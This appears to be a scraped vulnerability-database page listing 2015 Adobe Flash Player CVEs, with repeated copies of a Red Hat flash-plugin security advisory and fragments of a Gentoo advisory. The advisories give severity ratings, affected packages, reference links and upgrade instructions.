flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Server Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Desktop Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Server Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Workstation Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2015-0332
https://access.redhat.com/security/cve/CVE-2015-0333
https://access.redhat.com/security/cve/CVE-2015-0334
https://access.redhat.com/security/cve/CVE-2015-0335
https://access.redhat.com/security/cve/CVE-2015-0336
https://access.redhat.com/security/cve/CVE-2015-0337
https://access.redhat.com/security/cve/CVE-2015-0338
https://access.redhat.com/security/cve/CVE-2015-0339
https://access.redhat.com/security/cve/CVE-2015-0340
https://access.redhat.com/security/cve/CVE-2015-0341
https://access.redhat.com/security/cve/CVE-2015-0342
https://access.redhat.com/security/updates/classification/#critical
https://helpx.adobe.com/security/products/flash-player/apsb15-05.html
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2015 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFVCFmyXlSAg2UNWIIRArVvAKCjJLAKXJvnMOZ5a5IBxmKVEPZu6QCfemGc
9kdM+Q/ZOQRcHTfQ3iZRj3s=
=8M6g
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
| VAR-201503-0385 | CVE-2015-0340 | Adobe Flash Player Vulnerable to bypassing file upload restrictions |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows remote attackers to bypass intended file-upload restrictions via unspecified vectors. Adobe Flash Player Contains a vulnerability that bypasses file upload restrictions. Supplementary information : CWE Vulnerability type by CWE-434: Unrestricted Upload of File with Dangerous Type ( Unlimited upload of dangerous types of files ) Has been identified. http://cwe.mitre.org/data/definitions/434.htmlA third party may be able to bypass file upload restrictions.
Attackers can exploit this issue to bypass certain security restrictions and perform unauthorized actions; this may aid in launching further attacks. The product enables viewing of applications, content and video across screens and browsers.
Please review the CVE identifiers referenced below for details.
Impact
======
A remote attacker could possibly execute arbitrary code with the
privileges of the process, cause a Denial of Service condition, or
bypass security restrictions.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All adobe-flash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=www-plugins/adobe-flash-11.2.202.451"
References
==========
[ 1 ] CVE-2015-0332
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0332
[ 2 ] CVE-2015-0333
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0333
[ 3 ] CVE-2015-0334
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0334
[ 4 ] CVE-2015-0335
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0335
[ 5 ] CVE-2015-0336
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0336
[ 6 ] CVE-2015-0337
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0337
[ 7 ] CVE-2015-0338
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0338
[ 8 ] CVE-2015-0339
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0339
[ 9 ] CVE-2015-0340
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0340
[ 10 ] CVE-2015-0341
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0341
[ 11 ] CVE-2015-0342
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0342
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201503-09
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2015 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Critical: flash-plugin security update
Advisory ID: RHSA-2015:0697-01
Product: Red Hat Enterprise Linux Supplementary
Advisory URL: https://rhn.redhat.com/errata/RHSA-2015-0697.html
Issue date: 2015-03-17
CVE Names: CVE-2015-0332 CVE-2015-0333 CVE-2015-0334
CVE-2015-0335 CVE-2015-0336 CVE-2015-0337
CVE-2015-0338 CVE-2015-0339 CVE-2015-0340
CVE-2015-0341 CVE-2015-0342
=====================================================================
1. Summary:
An updated Adobe Flash Player package that fixes multiple security issues
is now available for Red Hat Enterprise Linux 5 and 6 Supplementary.
Red Hat Product Security has rated this update as having Critical security
impact. Common Vulnerability Scoring System (CVSS) base scores, which give
detailed severity ratings, are available for each vulnerability from the
CVE links in the References section.
2. Relevant releases/architectures:
Red Hat Enterprise Linux Desktop Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64
3. These
vulnerabilities are detailed in the Adobe Security Bulletin APSB15-05
listed in the References section.
Multiple flaws were found in the way flash-plugin displayed certain SWF
content. An attacker could use these flaws to create a specially crafted
SWF file that would cause flash-plugin to crash or, potentially, execute
arbitrary code when the victim loaded a page containing the malicious SWF
content.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
5. Package List:
Red Hat Enterprise Linux Desktop Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Server Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Desktop Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Server Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Workstation Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2015-0332
https://access.redhat.com/security/cve/CVE-2015-0333
https://access.redhat.com/security/cve/CVE-2015-0334
https://access.redhat.com/security/cve/CVE-2015-0335
https://access.redhat.com/security/cve/CVE-2015-0336
https://access.redhat.com/security/cve/CVE-2015-0337
https://access.redhat.com/security/cve/CVE-2015-0338
https://access.redhat.com/security/cve/CVE-2015-0339
https://access.redhat.com/security/cve/CVE-2015-0340
https://access.redhat.com/security/cve/CVE-2015-0341
https://access.redhat.com/security/cve/CVE-2015-0342
https://access.redhat.com/security/updates/classification/#critical
https://helpx.adobe.com/security/products/flash-player/apsb15-05.html
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2015 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFVCFmyXlSAg2UNWIIRArVvAKCjJLAKXJvnMOZ5a5IBxmKVEPZu6QCfemGc
9kdM+Q/ZOQRcHTfQ3iZRj3s=
=8M6g
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
| VAR-201503-0384 | CVE-2015-0339 | Adobe Flash Player Vulnerable to arbitrary code execution |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-0332, CVE-2015-0333, and CVE-2015-0335. Failed exploit attempts will likely result in denial-of-service conditions. The product enables viewing of applications, content and video across screens and browsers.
Background
==========
The Adobe Flash Player is a renderer for the SWF file format, which is
commonly used to provide interactive websites.
Please review the CVE identifiers referenced below for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All adobe-flash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=www-plugins/adobe-flash-11.2.202.451"
References
==========
[ 1 ] CVE-2015-0332
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0332
[ 2 ] CVE-2015-0333
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0333
[ 3 ] CVE-2015-0334
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0334
[ 4 ] CVE-2015-0335
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0335
[ 5 ] CVE-2015-0336
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0336
[ 6 ] CVE-2015-0337
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0337
[ 7 ] CVE-2015-0338
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0338
[ 8 ] CVE-2015-0339
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0339
[ 9 ] CVE-2015-0340
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0340
[ 10 ] CVE-2015-0341
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0341
[ 11 ] CVE-2015-0342
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0342
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201503-09
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2015 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Critical: flash-plugin security update
Advisory ID: RHSA-2015:0697-01
Product: Red Hat Enterprise Linux Supplementary
Advisory URL: https://rhn.redhat.com/errata/RHSA-2015-0697.html
Issue date: 2015-03-17
CVE Names: CVE-2015-0332 CVE-2015-0333 CVE-2015-0334
CVE-2015-0335 CVE-2015-0336 CVE-2015-0337
CVE-2015-0338 CVE-2015-0339 CVE-2015-0340
CVE-2015-0341 CVE-2015-0342
=====================================================================
1. Summary:
An updated Adobe Flash Player package that fixes multiple security issues
is now available for Red Hat Enterprise Linux 5 and 6 Supplementary.
Red Hat Product Security has rated this update as having Critical security
impact. Common Vulnerability Scoring System (CVSS) base scores, which give
detailed severity ratings, are available for each vulnerability from the
CVE links in the References section.
2. Relevant releases/architectures:
Red Hat Enterprise Linux Desktop Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64
3. Description:
The flash-plugin package contains a Mozilla Firefox compatible Adobe Flash
Player web browser plug-in. These
vulnerabilities are detailed in the Adobe Security Bulletin APSB15-05
listed in the References section.
Multiple flaws were found in the way flash-plugin displayed certain SWF
content. An attacker could use these flaws to create a specially crafted
SWF file that would cause flash-plugin to crash or, potentially, execute
arbitrary code when the victim loaded a page containing the malicious SWF
content. (CVE-2015-0332, CVE-2015-0333, CVE-2015-0335, CVE-2015-0339,
CVE-2015-0334, CVE-2015-0336, CVE-2015-0338, CVE-2015-0341, CVE-2015-0342)
This update also fixes a cross-domain policy bypass flaw and a file upload
restriction bypass flaw.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
5. Bugs fixed (https://bugzilla.redhat.com/):
1201636 - flash-plugin: multiple code execution issues fixed in APSB15-05
1201649 - CVE-2015-0337 flash-plugin: cross-domain policy bypass (APSB15-05)
1201651 - CVE-2015-0340 flash-plugin: file upload restriction bypass (APSB15-05)
6. Package List:
Red Hat Enterprise Linux Desktop Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Server Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Desktop Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Server Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Workstation Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2015-0332
https://access.redhat.com/security/cve/CVE-2015-0333
https://access.redhat.com/security/cve/CVE-2015-0334
https://access.redhat.com/security/cve/CVE-2015-0335
https://access.redhat.com/security/cve/CVE-2015-0336
https://access.redhat.com/security/cve/CVE-2015-0337
https://access.redhat.com/security/cve/CVE-2015-0338
https://access.redhat.com/security/cve/CVE-2015-0339
https://access.redhat.com/security/cve/CVE-2015-0340
https://access.redhat.com/security/cve/CVE-2015-0341
https://access.redhat.com/security/cve/CVE-2015-0342
https://access.redhat.com/security/updates/classification/#critical
https://helpx.adobe.com/security/products/flash-player/apsb15-05.html
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2015 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFVCFmyXlSAg2UNWIIRArVvAKCjJLAKXJvnMOZ5a5IBxmKVEPZu6QCfemGc
9kdM+Q/ZOQRcHTfQ3iZRj3s=
=8M6g
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
| VAR-201503-0382 | CVE-2015-0337 | Adobe Flash Player Vulnerabilities that bypass the same origin policy |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows remote attackers to bypass the Same Origin Policy via unspecified vectors.
An attacker can exploit this issue to bypass certain same-origin policy restrictions, which may aid in further attacks. The product enables viewing of applications, content and video across screens and browsers.
Background
==========
The Adobe Flash Player is a renderer for the SWF file format, which is
commonly used to provide interactive websites.
Please review the CVE identifiers referenced below for details.
Impact
======
A remote attacker could possibly execute arbitrary code with the
privileges of the process, cause a Denial of Service condition, or
bypass security restrictions.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All adobe-flash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=www-plugins/adobe-flash-11.2.202.451"
References
==========
[ 1 ] CVE-2015-0332
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0332
[ 2 ] CVE-2015-0333
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0333
[ 3 ] CVE-2015-0334
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0334
[ 4 ] CVE-2015-0335
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0335
[ 5 ] CVE-2015-0336
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0336
[ 6 ] CVE-2015-0337
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0337
[ 7 ] CVE-2015-0338
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0338
[ 8 ] CVE-2015-0339
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0339
[ 9 ] CVE-2015-0340
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0340
[ 10 ] CVE-2015-0341
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0341
[ 11 ] CVE-2015-0342
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0342
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201503-09
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2015 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Critical: flash-plugin security update
Advisory ID: RHSA-2015:0697-01
Product: Red Hat Enterprise Linux Supplementary
Advisory URL: https://rhn.redhat.com/errata/RHSA-2015-0697.html
Issue date: 2015-03-17
CVE Names: CVE-2015-0332 CVE-2015-0333 CVE-2015-0334
CVE-2015-0335 CVE-2015-0336 CVE-2015-0337
CVE-2015-0338 CVE-2015-0339 CVE-2015-0340
CVE-2015-0341 CVE-2015-0342
=====================================================================
1. Summary:
An updated Adobe Flash Player package that fixes multiple security issues
is now available for Red Hat Enterprise Linux 5 and 6 Supplementary.
Red Hat Product Security has rated this update as having Critical security
impact. Common Vulnerability Scoring System (CVSS) base scores, which give
detailed severity ratings, are available for each vulnerability from the
CVE links in the References section.
2. Relevant releases/architectures:
Red Hat Enterprise Linux Desktop Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64
3. Description:
The flash-plugin package contains a Mozilla Firefox compatible Adobe Flash
Player web browser plug-in. These
vulnerabilities are detailed in the Adobe Security Bulletin APSB15-05
listed in the References section.
Multiple flaws were found in the way flash-plugin displayed certain SWF
content. An attacker could use these flaws to create a specially crafted
SWF file that would cause flash-plugin to crash or, potentially, execute
arbitrary code when the victim loaded a page containing the malicious SWF
content. (CVE-2015-0332, CVE-2015-0333, CVE-2015-0335, CVE-2015-0339,
CVE-2015-0334, CVE-2015-0336, CVE-2015-0338, CVE-2015-0341, CVE-2015-0342)
This update also fixes a cross-domain policy bypass flaw and a file upload
restriction bypass flaw.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
5. Bugs fixed (https://bugzilla.redhat.com/):
1201636 - flash-plugin: multiple code execution issues fixed in APSB15-05
1201649 - CVE-2015-0337 flash-plugin: cross-domain policy bypass (APSB15-05)
1201651 - CVE-2015-0340 flash-plugin: file upload restriction bypass (APSB15-05)
6. Package List:
Red Hat Enterprise Linux Desktop Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Server Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Desktop Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Server Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Workstation Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2015-0332
https://access.redhat.com/security/cve/CVE-2015-0333
https://access.redhat.com/security/cve/CVE-2015-0334
https://access.redhat.com/security/cve/CVE-2015-0335
https://access.redhat.com/security/cve/CVE-2015-0336
https://access.redhat.com/security/cve/CVE-2015-0337
https://access.redhat.com/security/cve/CVE-2015-0338
https://access.redhat.com/security/cve/CVE-2015-0339
https://access.redhat.com/security/cve/CVE-2015-0340
https://access.redhat.com/security/cve/CVE-2015-0341
https://access.redhat.com/security/cve/CVE-2015-0342
https://access.redhat.com/security/updates/classification/#critical
https://helpx.adobe.com/security/products/flash-player/apsb15-05.html
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2015 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFVCFmyXlSAg2UNWIIRArVvAKCjJLAKXJvnMOZ5a5IBxmKVEPZu6QCfemGc
9kdM+Q/ZOQRcHTfQ3iZRj3s=
=8M6g
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
| VAR-201503-0381 | CVE-2015-0336 | Adobe Flash Player Vulnerable to arbitrary code execution |
CVSS V2: 9.3 CVSS V3: - Severity: HIGH |
Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows attackers to execute arbitrary code by leveraging an unspecified "type confusion," a different vulnerability than CVE-2015-0334. Failed exploit attempts will likely cause a denial-of-service condition. The product enables viewing of applications, content and video across screens and browsers.
Background
==========
The Adobe Flash Player is a renderer for the SWF file format, which is
commonly used to provide interactive websites.
Please review the CVE identifiers referenced below for details.
Impact
======
A remote attacker could possibly execute arbitrary code with the
privileges of the process, cause a Denial of Service condition, or
bypass security restrictions.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All adobe-flash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=www-plugins/adobe-flash-11.2.202.451"
References
==========
[ 1 ] CVE-2015-0332
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0332
[ 2 ] CVE-2015-0333
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0333
[ 3 ] CVE-2015-0334
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0334
[ 4 ] CVE-2015-0335
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0335
[ 5 ] CVE-2015-0336
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0336
[ 6 ] CVE-2015-0337
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0337
[ 7 ] CVE-2015-0338
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0338
[ 8 ] CVE-2015-0339
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0339
[ 9 ] CVE-2015-0340
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0340
[ 10 ] CVE-2015-0341
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0341
[ 11 ] CVE-2015-0342
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0342
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201503-09
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2015 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Critical: flash-plugin security update
Advisory ID: RHSA-2015:0697-01
Product: Red Hat Enterprise Linux Supplementary
Advisory URL: https://rhn.redhat.com/errata/RHSA-2015-0697.html
Issue date: 2015-03-17
CVE Names: CVE-2015-0332 CVE-2015-0333 CVE-2015-0334
CVE-2015-0335 CVE-2015-0336 CVE-2015-0337
CVE-2015-0338 CVE-2015-0339 CVE-2015-0340
CVE-2015-0341 CVE-2015-0342
=====================================================================
1. Summary:
An updated Adobe Flash Player package that fixes multiple security issues
is now available for Red Hat Enterprise Linux 5 and 6 Supplementary.
Red Hat Product Security has rated this update as having Critical security
impact. Common Vulnerability Scoring System (CVSS) base scores, which give
detailed severity ratings, are available for each vulnerability from the
CVE links in the References section.
2. Relevant releases/architectures:
Red Hat Enterprise Linux Desktop Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64
3. These
vulnerabilities are detailed in the Adobe Security Bulletin APSB15-05
listed in the References section.
Multiple flaws were found in the way flash-plugin displayed certain SWF
content. An attacker could use these flaws to create a specially crafted
SWF file that would cause flash-plugin to crash or, potentially, execute
arbitrary code when the victim loaded a page containing the malicious SWF
content. (CVE-2015-0332, CVE-2015-0333, CVE-2015-0335, CVE-2015-0339,
CVE-2015-0334, CVE-2015-0336, CVE-2015-0338, CVE-2015-0341, CVE-2015-0342)
This update also fixes a cross-domain policy bypass flaw and a file upload
restriction bypass flaw.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
5. Bugs fixed (https://bugzilla.redhat.com/):
1201636 - flash-plugin: multiple code execution issues fixed in APSB15-05
1201649 - CVE-2015-0337 flash-plugin: cross-domain policy bypass (APSB15-05)
1201651 - CVE-2015-0340 flash-plugin: file upload restriction bypass (APSB15-05)
6. Package List:
Red Hat Enterprise Linux Desktop Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Server Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Desktop Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Server Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Workstation Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2015-0332
https://access.redhat.com/security/cve/CVE-2015-0333
https://access.redhat.com/security/cve/CVE-2015-0334
https://access.redhat.com/security/cve/CVE-2015-0335
https://access.redhat.com/security/cve/CVE-2015-0336
https://access.redhat.com/security/cve/CVE-2015-0337
https://access.redhat.com/security/cve/CVE-2015-0338
https://access.redhat.com/security/cve/CVE-2015-0339
https://access.redhat.com/security/cve/CVE-2015-0340
https://access.redhat.com/security/cve/CVE-2015-0341
https://access.redhat.com/security/cve/CVE-2015-0342
https://access.redhat.com/security/updates/classification/#critical
https://helpx.adobe.com/security/products/flash-player/apsb15-05.html
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2015 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFVCFmyXlSAg2UNWIIRArVvAKCjJLAKXJvnMOZ5a5IBxmKVEPZu6QCfemGc
9kdM+Q/ZOQRcHTfQ3iZRj3s=
=8M6g
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
